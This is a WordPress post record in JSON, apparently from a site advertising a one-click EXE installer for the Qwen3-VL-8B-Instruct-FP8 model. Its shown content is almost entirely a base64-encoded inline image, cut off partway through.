{"id":56734,"date":"2026-07-11T12:33:13","date_gmt":"2026-07-11T04:33:13","guid":{"rendered":"https:\/\/welcomewondertw.com\/?p=56734"},"modified":"2026-07-11T12:33:13","modified_gmt":"2026-07-11T04:33:13","slug":"qwen3-vl-8b-instruct-fp8-one-click-setup-direct-exe-setup","status":"publish","type":"post","link":"https:\/\/welcomewondertw.com\/en\/2026\/07\/11\/qwen3-vl-8b-instruct-fp8-one-click-setup-direct-exe-setup\/","title":{"rendered":"Qwen3-VL-8B-Instruct-FP8 One-Click Setup Direct EXE Setup"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRgxKAABXRUJQVlA4IABKAAAQNgGdASr3AVEBPjEYiUOiIaEjJpPquGAGCU3S3n0oeayu5LkJzBQoYc0GmFf33Xwx37l\/Yfm9\/eP2k+b3jXut9m\/gv2J\/f\/mC\/g+EHxn\/A\/6Xou9Gf8L83f8z8uP9p\/6v8t7q\/zn\/uP8N+\/H0C\/q5\/q\/8D\/nP2G+Mf\/l\/5H3uf3T\/d\/93+8f7z4H\/0j+8\/+H\/G\/vd82f+4\/bz3k\/5H92PcD\/tP91\/93YkfuZ7CX7fesB\/1P3A+F\/+p\/7\/\/5f8L4Gf53\/j\/\/p\/tP+d8AH\/39sD+AdNPy5\/tfe3\/jPyU\/uHTxeyXxoV0GSV8z+835H\/C+O3418Av8d\/mn+C\/uf7A\/nT6zPkpgJ\/Tf6p\/i\/71+439h+Pf7f\/oerfsq\/QF\/ev7F\/qfKm8m6gN\/RP75\/y\/8h+Xnyhf7f+W\/zX7je+P6o\/73+k+BT+X\/1\/\/bf3L\/Oe+T7NP3a9qP9pimPquxcag0XXfUmCRQqT5Gy8yfEvPBRlnG946bMq\/zNsd2vFwXFv11el0+AgXASTlXkvPCFKEtAv2wHOSDDdtTuDTaVmT1BeyUPXb4Thq8hWlYPCNdRZZsc2d\/oEIwrVKIovMwE50AxSxjwkn4vOKV\/PxVPIztQkuPUcNkpjH2CAHry0FI9P0lIBEaM1y+lUDVQ1pKVThke+Sk8Mto82aEsWRlP7Ov5e+KKfsKmEYQ7lnUlbeNQLlTkRztP7RfjoMecl\/4LlpC4lGQ4qLTYKjxQjz9k6kKni3adaoYx8IUA65AQmu7TOfIA8AHR9+F+X+8EKL9MLUbVsW3WZAmakLxLStgo3WDmUAhZtB9QjwD+HtTxUrGxsQy07cl2PsS2Owf+c\/3PBV\/GU4fzID5PVhu+F39iGAeFxHHF\/xAFEqoBKAkGhujAKZkWOH36ss6cCtCsT5ZqKun8AHvdJTQKXECIqzMvYMPMAU7+eBGT0YvJG3G\/OGYNkbNjSfOHScPPKRuM\/OhnavX5aSzI1I7cdY5r2hNUjsVNfqPh3KIDeoE+WJJuDeR3NogERXLey895sxU5aCdQxGBG2xRX6C56vz5pa3\/XnKuw3iwxXiUxslNVYEIoYeBSY7x2rPDg9Tw3u79NwCrIDWYtp3VaiRcWWWcrLJcYQWkRaFipqdwvHNKyjJE1J1Ts0swI9YE8Zqay2zrv7LTbRzgJSzrc81z\/vQSYqu\/9MdQSdxNOVxWq50RpExAKnJ9BdhmiIZ5zGWRkhmEcJ6ETQJ4dX7J5Yx6c9yrLzFbHpE22GD43v7EXv4H4SgOWFrxPjCnBded4trAmUhnAkWhNdj4FciCMjPvr81mVa\/1Aj\/z3PsQK+BOQYYgaTnzQ01XfkaRxKEedfdIhB4XjUD9wdLROzZXTs42yp3TdRrcRK8LuaoiDbD\/OytgaM3h2dKC55RJefetU\/CI\/pUGpxJ5+fFPBAmG\/noJ6Nv1HtCuk9wtLE3FNj28vhC+0+se9fq9eImNS\/SCBUiOEHFe7nCkkagmEr6kzrnGPFhKSYRuwanVPDYOfil7wj51fL7qoZOiVaPLqxhFzOaPD26vlotphbKaCKph2Ep6iDWb9Pm8PnSXbxIF82TQMXx+IJebfjddocHOb69CR461s43m4X96B9rfPJuiHptsYQu+egc7TwqT3yvc22ZvTslBvtN+dHMQs708G3aooW6sItQlaIJAgrXCqKNGG51ATjSv1IH9o9Ifl3Fz7v\/rdlkfm7Skj+JHpo6N5gOz+MICdqlRI0Nu8lytXuakAb9yDWn3UjVUN+DklXodwAnmaD+lWiZwgyZwGolqbJMWASxr+RaNn3zRlWxDpaBqM1AabEjzWyk63jNCh7jP6Wfg97HkYxs8EFphv\/bonTlgRQjh0ambOM+8+Nig7EXGn8o2GqILA59R1PeXfYQ0tnILdxJkG9boCa8bzKVmZvT8rAHYF7b+dZnKDwFakpDVvfgfmx0OXcJPadrb3skvcq6D0J73brFX4gWzs0YMBSuzucpfVx21w94fqqta\/wf2VU3t6Cyzdycf5Vek16jp8jTBADkYJ4W1Bcv5C4Qr10sBwQ4SW9Vyh5qdore1anXze+fG3DxpF5K9FjnahdBFCZ1iGdbSoWIY8el5WC5x0fn9baYOx3kqKBffHPUcllHHlvWOU0r68F+OZPhwesncW2yG15CH737M8YzYWsJGFYh0Qq9dhk52VJXV\/9JB\/rBuoQ8YwbFjA8OwDzAUZ\/80\/5hPCwBgKLta16kWhnPII7NYeRd+W0lBcCkREwujapLuEsNqvMUIybGznIX2tscBNnkZMQSSpUqm7ylYrXujPvQIYZGwSq7Pxsl01yK4qgnraRpPzy6emwcmqEAsgMCm4xFCsO+jBTkw7jRbcn7hOdnWW1gtVygm5Hzu+gu03TIeDA7Bec+y3HbbnqFZEpKTjM5lWyP7+KSIDLjSDQ2ZTBY60RPRLZz92UKDwh+DZtg5DK+h\/++ERR\/B8bkJKPwLNHAmgwIUo00LcwVrSKztw1UHuVRasSfeqbLvQe35CS+oeot7ki5H+r94B7sf0EZbdRlm25eSPxYc\/nR6w6Tlx5udD76dsvS9DzxcwHiOZFeJ7+E1+M3jPWLmC5+fw7Xfyy+3J5W8eu43dZj9CYrft07x3Uc4PjFAvbb8eatO+2sCrq5Cnv67\/crEF5I27UulTnKo3v6L2GoErz0JVhOWcAv77E\/7g1yvEBetfu9A0Xc2WrFNLdr2jZq6Fn3la7UvMxEZ\/tLEhk5KNg2aorydN94eOH8eMj9bt\/Y6uk0v8+9EV3NNUjFkjnBd+67Vi4j2Wwqat76uPRvJBKIx9DD9MAH+MpsvLxxvPNHqP2xqXeaTb3IxPiaklGsohNSqMlxMVxAYyiV9qciugvqMYkbQjIc6a9+da3gwlp3OvTDxdcviIc4DssTYe+FiOZuTH6Ml6WKw4m3pRNw1m1vdwomBGyQWgyWh9VTv871bh\/H13qK\/4bGnlVHeXyZckBMAI+klvcL9\/uAsI1yuoQ1bC0AVGjSOc+P57iFNe1Do9xoEKoJ6RzVCP7UyCLWD5XO8+kIvW8g\/\/+32fg2YUoSNE8NAc5fYyH2O2omanADLEOL0aYyGZDjT+sNJQkF6f0BwFJAoykX\/oQm15HCOi0iBCp4yd\/nw5z3LB\/zt\/rqE0K\/IiEwcURnj0frwZNypJGgM8Df9\/D\/Bxp4AnQEnFgmqRIAvFe+s9xFj4Wkez4\/oTI1\/9dEX2osiw5Pr9aHrGOnetv4PCv\/M7DDxFtHq2fpI\/gxl+3kKfD4E8e0zEntAaORrUmyQJD29fMy07UubY5rSlBjn23NfHAdib\/TAAD+\/\/g7A50uhgXzndzQxbW33+A5WBsgi7AXPQHgbtTDeb+xBWkNM1XypLlG7zPUrDMz5tn4NztdGYv3OOclqJ1IetXok+VUVpfwa+7PfJ8fdLK5DBkZFRDDB1sBdW3og3V9bpLNIk0IPoAeRDwTJai4W4zwRHn4g222DyTHbQsVZ0cITJHS+ZkPzk1R7yAtaVB3gyOUvEl3pKafyI8ea1TsnBW5OkaRtkomnqoNMhcGGBxz8E6lJ8g1Nk0pmtwt9eCvKhOjauo78B3QvJ1Er2tvbfe0829SOZE8C\/Kr7XS+ce7H1+nU5hBrCLPTlGDCCXFVy891oOjFcmWScPu7eXTAomdsVrKNofqR4PtBwV97boOc8mAN5CRdWuxw02hiDXnDmKMyGiPV3KiQJqwzg0gZSC6102gyqNMUv3QmIlUkofVOzeC6R6QmQmBJbZZD07sq2qN9Vak44lhVewryYIxyCYopjfR\/WBtS8tZc5V5aSC08UHxkWP\/8UnGNw5i1K3N6Km5OGMvGzizZ9+jnK\/TAZ16f5YGkTif2LxG3FbR5KyvauSX52Qh\/poH\/SxYLaEclK8WPtYC1Gtu97v\/pXj24THSQTwayQK85V7rLeVhhEP8XOX3UtxgYuGJ8sOvX70tt3A8ePCt5J39ta+HTOAwYEdj8Gibu7jyudwyCzqtFfLjgJFkSDf8D8GGGVn2OIlMK5xnsBwxd+GV+dK1R3h\/YD+sC4ArQNL8Jwab3hgQ+\/Xr4M1OmhMg+fR4iZpFjQfg1R5UQtsRXKR6fHPrctovcJ8VWCaFqo1\/EJW8NUP6lFAJAxLMn1+dHdbGB9JEOjxnJfaBLOWZfoNcjxbKBguES8bXAXv3ntKrt3lE8SOqhMEayOfvcTK15brx6LAve4qhNE\/mM9BVq8Z53X\/EIUWjnYyB0rKGhC+1Po58Xiwdil5lettOhwBMZiH4ucB71r71jSQkjnZ5BIlXwuyfZJe9OvIUXRmidlxcVJWjOyAsKUat8QgWZ57fCNk3Mxf+wDzsL720k8pMyvYCRNM5TGj8Z43omf7gi4UTAHx3AcXllP63uZQPMLNdN5m7G\/R6jF8D8k4L\/iZYw3mkXiQgK+jcgThh5WBA\/wz+0DM19EVkpnb9MXfTHyzDY+0TNSVtUv20a8pZUJFa2H13tMRw2lt7+KnsXOJeDCcSfKgV074bn7PJJoxyxYnlkBF3uSsYYqYB62DQykIk5y+S8ohe07eWUi9cKI2BEARRewNm6XlYXs01XzFgPtP9tIhnjfhrSU9KvpLdRvYeyEnIQGZfGjVJ8aXJSX8Tk+RdmpltqOv1kOFSBVA1RLZ7coQpPiXBQ9TTJdCnP9tvPRASjzr6HdArrayQ2peksGJ0K4OpG7Z5dps8qNXmYHKubAWuatQBYi8bgWJC5+MrMak5yMBRp8VaTijof04OhfArMq6MLzqIjSN6itc3VLKKglWdQbYIA+FwsunSBaw7HEsSE8npYK4VhOMtE70b\/eVy9O1FgNVej\/95eIJ6qrZ1BeocJnnhcMM5JA\/TrBCuV+uyBcR2QGXP93QO1kM+dbr0pOQyrdKgiP9WyLDHTOGV+lVjslWfCd3oct\/536h3H3ThT3Pv2XGSLeFGA+HLyLYCL03dtMFvRBBBmnRNLmoBFpTTBN8n6v2UgaQLCgt5FrguCDsab1nsFinBKytS\/meRZbaf1xNzowa870KTHJmGVsK2UBGYJXPG3jg6xZdxQRNh4XAmOA0+xAP+zmYZf6+rREASXo\/j+eD1\/nL5o\/cuSNCUJZrFIG0w\/jNn1eptSJZLaRBnsrWXn3bOds2xMqYZbHTBePWzkIeb8lMEwO5WvkbZtltsIBVg8LhTUczpIQ83WkP9\/BHIFJ77ChAuFugq8chb96coWzZfiwXg5TRBHf6xlqXyOcntWYrsl8QjD4oMmHbh2QN5j6KT7Kp5beA2bU7HE8BWm9Qw5Srg2HkfLs6Vkk7A0xSjijynSdLIKAf8BduNmsbyN+sUwYciWrO6HAG\/OtJusmqAeUD8+4P+Tm9PS1VysUOcvsmsv\/\/8503e5tEBm0WTQeQrUD+2lgk0s6XoCaYy2UFL3qK44KjRYxjTHIY5wPHiyHh\/slTaBsw89reIfKLyZHZLGAK+PI2vYZZykhCO+Z\/5f7dQUjXIk9fSPYo069FTF1AoW05hnIHnIbZb\/r4dhQsg5UwOOQmvMo37XEvBUS2Xba4Rn\/WX314lxxVuK9S+DPIQGAU+j0DPfA3uHyv1pfaGMDUqbtUpfdDn9nPvS0B2V3i0JacN0NZ\/NOxzsEg7RLvfYjMd83vX6ktrxmd2FH8XI4Py6zyv\/yTE\/xdg67+ntZ7Dd6VNuHt1f6oBk4BoBoYmoxPbIR5JePtgMOvWZKK9Rp5S2bJcGofAu\/o0pP045L0YLkne8MvPWkRaV3OXjnKYvehdlfIHZZMlMUxj6GEThjGyniHouX8j5gIgk1aPlOOOvO4MN5\/hDFWUlaU53q5l92kQGraPPZvofNpvIrStIZ+a+6bmgI0RSvqozknpwTCBsu211v+07gfZY8M9yWg282cHh22I0sUyNwdxDZLv3Ie2MFpm68\/PqtZAh8ym0Exy4YfSc31xv6cKLNojDtmD6fqqvPXeAmBo90ucGqkRL\/iggAExjnsIUdS9AdJS6gWXeRhw4xNA3AoRol78\/4wOIyd4DZBo1BibGyk4VRGGir195biGZkKsfktiPa7aVaEuYIQE4FcyaGQPowxdfUHE9FDhIYDSaRG0Uk8MhcQz2X4c4zWO7LN+511+i9DQRQRsWx7sRR3k98B74KutgMZsjTgt5I9kO6QEtk3LUOH5nCViBEk64MaZYSE+n\/OKpENAT7YTCTOzi5ihR+qGecNgKsQk6zsq2VICFxoZ8V+8TX8n5XjCkgAsWgV0LJ6vquR3t+bPz\/P3wN0evWNU4p0lB6bt3Ocr8dFljO\/+NuAXsZ8TVakLUvMe5H5kyo8EcI\/y262OlLVZZrP5XwmR3YPSBTe6kJclAjniTFccbLxjIrw56nUUa817oHYCmtW5K9tLrgpngZuTxF\/HIB2zXPDcH3a\/UeaMJqWzwWYQbOQ01m49DKmN\/gc5bFe3g1i1BDREoPxrY\/WWmNAn0a0CPLAHU9SdgmBxfAVeUwUOMfqQXiBFeyVcHVDylm3HMpGGueVLlWIxfKkMcqB4GR9\/WDeWNxV8aPzVk\/OvA5BbIFnlb8b+K3mzcCEhqBSpfKYRHelX5cXNtZdKgDDwgmessdnURTOZIgIWceTrQdUAaUI2exGANdh0aNvQX9IuiQYGLSDZeBnhY9T1tOSSEUgJ6fhmlRBdRAMYmrjIx99qwMjE1oHfRUc9i8c8jvSnP4CBaUxqZcGM1XO2BtTeVbD5Vd0VRQ4OwdMzja4IGrBZCGchpXCIz3PsBiqvvF4UyHCDWVorly07JEiDyChV4ui4b8QkGXadSxE1HDvhJpqbOmBNFanuWvW+O7zGRzp36RnMiOB6nd4PEom4H+SDNtvvjuR5F0UeGvvAvnRosGX87ihuBZBMvPT\/+Kp1sQgsth4\/f5CQPCTuAqwslNsJA4Zo4Y+5nBgYAIyCpxtYxzQEVBrRuTtFhPoF2pNG8EBzaCYFFHaLcHxhI31T93WpI0zw2719bUhb9cqeS1SuCUApRuRT86J2dOrG\/T8BeuQ5NcOy0GPGJzN4vquXeYR1BIq40neDuoppSEN5BaK21+UqIjDilacp9aUvehIfnuqiZEfy1m4nD2bvC9bGW4YXWBdZtGL5gQUevSIs6YopPIt6mmNGko6VId+swH28SfzOcEYj0EPPJNZJxWcejw\/V5uxTsDJb2mdtqfLpxk4HYHHyhIt9u8A6K95Akmr1xJeY9cJpkw\/GSS8AcIpGFhkH076EDgSG4Idchuaefex1QoPz3VXnyT2TUJbmjEjjdYs7lO9caiTRaKTsJK2BeSnhVq96H+cb4NmHYLEFjnJ4S2ohkzpZMRq32+y80zANQlrzDbAKkjsJ1mdHI7g7\/TtwurYZ74EuM7A6cNn8ggGc8HbnsBhBQWU8dzsg5pN1yHihotCBpdfNWJvWp1zNv+hyrrX\/7JHi8TojQVzjLYdLhNTT\/OCSQLtkFEk9I9PUQYmX7lWM+fxzbMxWuefszHeLpu3NHokqOq8\/iLqCcyZzXZXfgLVCDMspt5fW67XhGSxNHbg6VsT4yhvMnTLzlzqIJcGD+cw+iWsb+NiEpZLYG9j7eNtOn4HLMimv3tty29HLtUeVbH1iBXpAFuzgaPy8nwHPOSJtfB0XAkE4DO\/p9hj8LGsnyKvrD0tDnqmLbHljEBtSxeEXjond5X2N6gWg5YQ7oBEsLYRHiA2XxXHDhXilYuO9qxRiUdxrAcALw\/qBt3yH8tyqi5dHJD9qbvIqr1NgozDvV4mNTpluWQBL1I0Bb+nEepMAKk48BmqrPEmPDoe+vfUAV8TuZSupyI3X+21atysmST29wikOLtGOr0j9gOxlT\/94EYPaMEkgRbkYfcVhW160UrGr7y\/x8omvoFtwgUHSv5neZd6IK5W0zurhIUMsEQXaxcwCkaw1LiBuEcr1gWqupyMd3fHTbEn7Rn8L5kXVSlr+cZlnbvodb+VgXKsOzhJE3aZbQhci3x2TZPEiQh87aZPs11kVbYVBVCeXr7QeGxpS613XnszGLnxuy7\/i82SPI3Uf7NoHuWPqmr6Mr4fuzV8USvEr52DsokIWRzAFDvmNhyhlimyh1Mf+nkDR\/zC2+tj\/AnsO6R5giUDn7YFCFSAoBCYDdhzoeOB32e2akDYjG2JnLnvTNC9U9LXuF3P3RlHhbKRs3iJid2QxlYFAX5ABIoM1RMRgIBaaoSrcRrRORhptqpK5SutE8+eIAb4xEHnsU8XtrQU13KMk6Iz9Xy31L9DavhhI0Os3llyleoZskhSuV5Wg+79p\/ZNtCFSmfrmRZ632Wa1rYkshptjKF3zn+wr+dudsP1r3t14B1d6Ertw\/taqzGjACbP9B9B1FfskboXe8Ap0EvyxM8N81uEL+AkfWNThqMQIKuVdpA5oNUmE+9aKgoIbncXsQb8nsLXLNbKOlXtmLPHwhwIXuO5dBD43Tv3t5049JsPP7bx3v37xT0IsoIO9LaXEj28+uiT2+MMjUz+Whe4pmCXSyPnfQZOlKULqf6GCYymH\/a8L4fR3EVy7pV\/MB9MoCF4v1grkmWh7v4HOJlrgRp2CTW2U7oA4coYTuuPEhd+\/gY2s2KhplXyORXJLqdKTayXhngXxZS25Au51NRTmwuMbUb9giva0enLNzzTG223hIMVV7N43P6wQaeWwYUzbu12krJpg0MCdojH2k2iabqaJ8eEFP6OrTGwrbOYUeZOH89YPBCFuaevoh+3M6oA4V+ajid9ZyR8QxuOZU6MuVstQRH0Jiacun9Ovzj0djNAm+9kVUEexIijKvkFykkH74+lVCGHqUrFKPdb7Qpm6xh5i\/np3EEA8MFV7F3QxddmU7jFP1xNTRVVJSuMLSk5rS6+qAs16RuLvw75mECMk5f9VXsyYD+2+9Y8SwCbSLsmBQAGmumLPJ+XgprX6DUzNyFUTxSwcWC8S\/vbOj9RYd\/ukpiJCZvKqJ6j7heoJMTiscVsrt+txjPdLocX9A7A\/dHrje5xaHlcVLffYj+Opll8ID4F2r5WPbXGBLghKTN8I9XX6wQrGQU5iSL31hfszr9dZOZ7Uu3lb\/Xhyd6VKtUYeYSpubOce5uwoZcRfhxpo21pVaJJhY+9okL\/XrOv81HQt92musYnaQof30M\/cie9ZJE+jQiWNRoKA0rIW6hpyelmVhupML\/k+VORguiXwyZ15SOigChEY8vNzhI+Sv56kgfVTHcEcZ0\/h3KGpA6u0jweOcD8y6WHffZEvkIioTOCfYm0DhvRj8rWs1TbQGYSlX15arIsJi5wGolk7mGBkbVqu5ATSdcs3YeAF\/ezJYbZk8UWhRrCZcR+HaK+\/Czz8HZEFZmPAl52DFdc\/g8l6T3B0HxLYNE0cBruF1huaUFYSLIDEk3cpztC+pHb+K4xKKW2hFPF4tm0wVh8AigrtjIBtu5A89GzuDh1jycO9G+ug6FeyjimleCJASSD2TuQ2sWnQgX4i7y9QSMt1J0cBSR7Mjh\/0NE\/DIsOxdOuLYpRWLgDcqb1P2wyD2RiAVXUWCmz\/P49eaWxDQ+op8diEL3CvilyPq9UG0wGS4+FfKuEJtNw2nbyHEJS8CW9Y0ST2wHSS9nHG0Xl45GIkKHiMqizhPeVqmjSLkJoOu+JaifUfCnqhV1BEEQUeq2Db98XFkSR9esOWOodvSQwx58dgoi\/8XRoIGDiebQ6oAJColz5pY\/sLgMhu2r53WgKHOHeWWJrX3XAGfKHXyUPYunfeFoUDzQ0+0qfittI0O3rqi8AWD\/HLIqTR4J0TrBf9oEXqccxaT\/KEB0xZIV84Nm15GIg4TnwvsoRTm+mjYTY\/FiVrs4O21r5NoJaoto2cmC3cWALFVnCEub1EJMZpZG+u+0Jl5YaFsf9vMaYOh6EnAfxV9Z4BJfGqjGKnQPTM8NnjDBiZyfHoOm10wfYGHe8M6o42DostnehOUcWxb01ktZLvE28SZSwj4EAJjk4tCrAWyqfalabJks569zpHKmhVySBYBBByoZ8BX1XfAA4+81FQWXOS5LFf2Lz+iz8Whs9n8uQp0JiPgskM6B0snSeAvHisARDs58\/2AgLC6bOZZOidfol8bzr7xBlncglW2VNEMHsf\/N4yoIp3vFYi9b4jb82loHcTk3vEDtjS\/QsJzreI6ihRuYk4jtCRZDM71Cdoj81FXPH5faglPY9o4GWbI19XA0jwJlWnIYZDHaUFuQW2UAT4PMeF6mrXza9BgivpWt5uAt+WpOGEmjIpGrgiND9T+\/qIUa3FKDOx1b0BWzp1xQucAGl1bG+GHE0VTiQbKSudy8BSkjv9C5qQOPdTHji\/KYCT1p3yKBKfkK1BC\/\/djE8y\/+bppIk7B8HBkDPvnigM3W9d4dMPzEdb+OJnkzJzbub9EgZjbF+UnXDGVHQyKw0fv5tl908RaHnWQ7bPlMuBV3vJipSKUmGGsc9BnrsYlNm5GWiBhpQAuJl7mHgAX+9AXysUdXi+iBN5lesYA66bvnQFpsqtprSsKEIyLmspLmCE\/AJt6fGh8ko9aWv91T6LEaqGtXZN0gC3mthZqtGO0i8d2Q+4XXEMvA5gRKyAmPDN5SGpXVDzsw8qVtxwPD9tXfK2k\/SSSEip\/0Gr3FNhhZkbq2syDRMD\/ci4gXc1y8o9u5SkmZQgu3wDIYN4cwNhLOXe713RkrfXC7XD2UrYTB4dhmGKoPQ3TEXOopkx8KWEMnmMSL8gJl7tfKC0NQkUo+Y3YgwZyXzVIfh8aZIswW4h0BG1hP89xjneDx46iByM6LRuozaEjpmkD+BgrDJDUebKcppZ9OzkvsZk+fNfrwyZqQXwKlCCezo4zp7YOjDwwxvwawQnDUg0VQgPDgco1j33c98UITNJYNxms50Uef0tYcim5i8MomuLp2vkK4HkHiXUVwuq8LUy1GIvx3Vv22qdAs2clrvpKFHRLWhZI99Kf\/4upIzA7mua1M8iW9RBFNsIjV6z\/XASquqQS0FP2hnU2x7EDdxMztXIxESz9jpiI0Xow+kk3UkBRic7mv+XIWaVNUcy8yhAhL+vcZk+cIRQgFfmTUyoT3QN3swEPIsTaM6tG61oWrP2rCGS332+FcdOClHkqo8Ox3ahk\/SOOSw+Wbz9jRPmavm8ZQMn5lhebuiYMg9dTbBekOJMGYA1IMWZFSIS+9n\/ib68ayZa0dJEym0W9x650TDlj8Ky7\/f5fjFyuKLd0MwXWT1Kg6VhLIu1r5qzAYWQAY4dJKJs9WhRdEre9RQt+CRcPlDmDpQWd4CPKViOZYSJNEu4Lt+Quzi0HzyoqKP\/9JXEhAIwr9rctXQJ8OmW9v2rCbQAuV3mj0lLz5L3ZV63La2V0WxlIdyt+NsfZ76dWKl9AerjKnAD3upCA7BMkatQx\/i39eGhu9nEraDdb2tqqYl4HNSYUNEcV66onWuaZmA7m7o1EJFVKldC9\/xvp7Y+QR3UlhGO8GtBrlCYbsXR9l5Rn6F\/YEdf75b63SemB4BJ7suW0DFGGLvy9p21DSVHtUhkwEARNju\/llERr\/6MNa4WFEeU93GatD7qY22FVYMT+3+IU154Fxskw9eSHTjcuPupWY9lTbVgUp1AgrfPd440LAGNOEpU98RWr7BM5eCFymFvAbarGq+x7fkWeCDY0zhAnQIJ4vrDj8zDpOxzIczZplj7dQcsTJkhDfwvyJusaT34w23TzWc0+XBpo0p9PBJ8oFF7o3gYRfP8+o9kWO4\/4upJJnD9D5uCcTNF+m7ZIPKC9sYVhLo2+B6PGhiZeR+2X0ElRV6YR4QKZlqGmeIIcCYgJhvtxgZdNp48sOYpZT6yGA\/JsjAel8v7E2e1Hc9TrQ5y7EamNcJPjeVujzOKVtI+4QrnW\/YjyYoI0JfHXOxGCe6UndI\/dvwzznjkP4henb7v\/+ixS7HdY1ZwODFwN7NFKDQBvy39KMlBsh6Y8C5Wp7F9\/10G+hdc0KnlTiGlaM+pYJg8lyuTC6UKuLWE2IjWu2THumHi41t5nf0zCFHKhxT7v+5EY6V\/66Gws\/d0FZ2D8\/XjL+CPLX6jx86sUnIZHJIVm7weLIAeC4ZLeF+LY8GnCPJnu4EGQ4lAwPV0iBhasUIQC5intPWBAkNlIhWYcvqSPiuzJlG0upeLgGU7RgjVhgMleybo2yMe8JoBtHm+pw1I39HmYq\/e+YvIP96pBGoh3imrjFAEBWiove5G0C64kGGk0OyvHNCZMQGzAmkThTQxDGzyPuvHXs9f7GQVcn5KVMdz3w7nhkKx5L\/IHvDepmys0uGKIZfcUBFtgZ4ZjvEJLdNKZ3sGmR\/TVsBAlmpz3fOs2kC95Rmi16xoyq\/gCpSV1FbYK25nORv7sez+WznOtaY42srlsGTfHy9Yg4tlDl8MehwxM\/OHPPdsHzSqjEFSZFaR8JIlYDy\/NE7lJEHnVLxWqpcEOae71A+tiGc9TeiW4AD8QrXggmbQ6UFG1eULGz37W5D2niC2\/AoMlubrFvQK3CUI69TscGnHCWEaCjP2rahanNuXOlpgaROeRudbGw9eH5v\/8LyGx4JIe+sdyV4v6USRji647Q66CKmApKTWm6eFw7RkS8eWvEgaSYEuJ87W4zZgnj+0VOySn1j71R0JvkRSMxdlhIwsX9hf8t0yEsO69nZIb8J0ASvvRSSGKm2HmxHFCEzXJWhkwiJLvhc3V3xVFCZJvYc9v5BCbkrUWE+ReovcBycBAVjoDK0ApzO3HMPWmslYs\/xDvFio96gpBDHRp20ixLMxJRHmKqJVfk9fI\/w28R9+rbnr58L142CyKLkwiufVk4cP1Hz3\/qHbUilbZoitumnhTnQelmKceV2RCG2cfUbckndrjoihphA2AZ+884tLWYQoWIDwiwPm7l8ObsAqFzz\/dVZVtn1PkU44s5qc623PolcLtfY9rXsdVncnPUDZlZhyOlvLxCoz6t0epNA+pumYxa7b90a\/qF3i1yaIDTyx9szHKC0zf8nIv6dmzMD9q7VQNBH5M4Wy55owO9OVgcna6jNGWcVht3VU7Em1Q8OTwUU061vOuAJYGOIRGXiaOHsamOMSqoMFFQHOts24GGG6UZEWpYetAbZramHacxgwN0cbvbyvWOFTl8vxs5iKBT5iMaOtFvSiMWWgetHUc+EhYexMQpAg30HDdLP1XRkFQrIFtS+z+2LCKqgoV43trWvKlPW0pHtFzGbw4q5UmUN3rqoQJYPXq3K1zjXoHQZSK1\/YWAV0ftExEOLwYhGC5Sd\/GqybstnyXF9kbJVxSrTIjScmK52ojMthxhsaXRHGn+uKVpQeGH114NS0iRuq8Wjj8hkZNjmYfT43X5eMZ0C62HF2k8Snv4FnrioFVTrxtlZ1L3GbQOM96NnaugH5hwyIuJzwu4rASZGsY2thygNpZ6yWXjT6xA9MD0IBaZdzoUFGLjQm2g74Eza4iUOskRvP0vEIt4TPkOoQUUCLEtQwgmZmlQ9FxOAtyTzlhyM6komg3tA70grRcdhVa9HqSyssfINoEjZnLMAZ15JUnQx7fSC4bUYUE0PBK7alO+HOCoJqU8KtD6MrjXJHsCzdChfrYdIOhRwIPLubVo7GRIJ+0NzG4Utc4DFfcpn+cw1PVvslmSPnT1stcwB96iW3WSLNSfhsN2mnwxTOU9xp7vRvjaLHLw3AiIQ2SfFcXZyR5O0zhVB87MOqmeJfvoDJ\/XT03oAEGegpD9Fnolfop0LlglYeg7nBIDT+4J0amml2yX0Ht0MIaLnYQofeuOKJ0+r5GAizr1HmGcAHShXNAof\/m5MnBy+v9WGHuLD4dyYIoMHxzvR3vvGWLl2NDARxA1C7sUzWhNUH4tyVWtMWLXPapc54I6+cFS4uymkNp83F7+vE2y9gtHi7uMa5u6LzWSuzcN7nqLFPHf7UyvTfh\/eJBXjMnhCgCV6M1sRGy7fujqPmos0AWhitxgwKLL32uvgfLJ9CvG0ftTXBZlaq+TgbSAAGkAYzX4mpviiDB18Ky7fY\/N6ptyiopkdsEwzxXToONjrD6T9HlS4mA+W\/++dqsXfwy9mwAdr44Oq7EEEJyBRRKROdDzsUAyAFfvERZZAihTROX48sV7KXcuN5qJgj5m+\/+T0+HKdnd+0BxBc+YF+deCwgDxu+cn3h1uItb7u4MXc\/Bltju5tyzlhdx5v819fTGVa9LRp6nEaVgoj23kgZzeJGUDRkbKG28qOgmU43lOw9b3BA+G1bcS0a2cIOx\/4zWzRbMrROeFhts57lMVJw7xej33q9jnIq9gUOIAR2orJzRvNO5PKCkgFwq2pCAiTniYEPsDvHP4GHLfX4K5dtxe3KOXYiG1XA693Lx7ELVybat8Wp\/a82Di0glMPi8GAmh5L2U7tFQGgCAJHgbKA8XoSYxwAECRw0PkEj56uj6y\/pbldtNKq+pgBcUI2fCQXJKGB0lxVd9TF12IKjGc4Vg7lkJJjnqn+xWrU40vE5\/DPQu0NYkty6cL4d3Zvi6N5cuWZnsgEoAQ4+SAfnnD54mV5174rU\/mT34VmTsPSeMl8YpZldVTnWTgqOU3TtzxTsEAstV7PM+enC+oQFfgpR1VKji0q98lq2OUMehbP8lkCiPn6\/aMgBdsHQmPYEyrxdYJ553HpmK2Lq8NJRzbm2y7ZC\/5fJ9FY0cNkoUmH5si0LCf6NrnMpAUzHmO+Q8ANdU8c2hRmUdox9a5iSe8n6ES4nJMHJ2Bjlb23jtx6OdoziNz5GrRVTWNjUeZoAuGToddYoeEaOMPFFbQflOgrSWJlILxgnsXEIp9YEftfDIFRuHWDt6VhgsbWNBJiv68SrK65iea8pL0qAMRFxl8CnQ4FrmZiCOkafm9JsIGRHWYPOyviDcW+wR7sMTaMGhAm2EcKH1IE+o34xRiO0Y5scIZWZSTfiQX4yus040PjG4c9iDgN8DrBn3m65WwzGX9MhSPYMJMNjPWG+IK8KjGiqbsHH\/WfNaMmrMG4VEDfqgMbHasT6Ao6M5UYS8XmWboKeZ68N7GjxU1I2KIKCPksavY\/ke8tDX9Q0j6+grcv5i1+oKE\/cgw1i1gkqGoqcL28SRb6m2iLpy+uXM9P87OOq0p3OCVuuDwv3UNGF5bM4\/VeJae0UuBRMZm0fdxAKwqs2G4IYaGauho3qZa14GwJZ\/LYAhcXZc7bb3SF+Sg8\/4DNlLOUIpzroWVsx8f4qko3OBS5gH7MX6\/9XCMiYTSnvbQf6oXnWmwrPMxnS31Hofc9Puq28ue2qK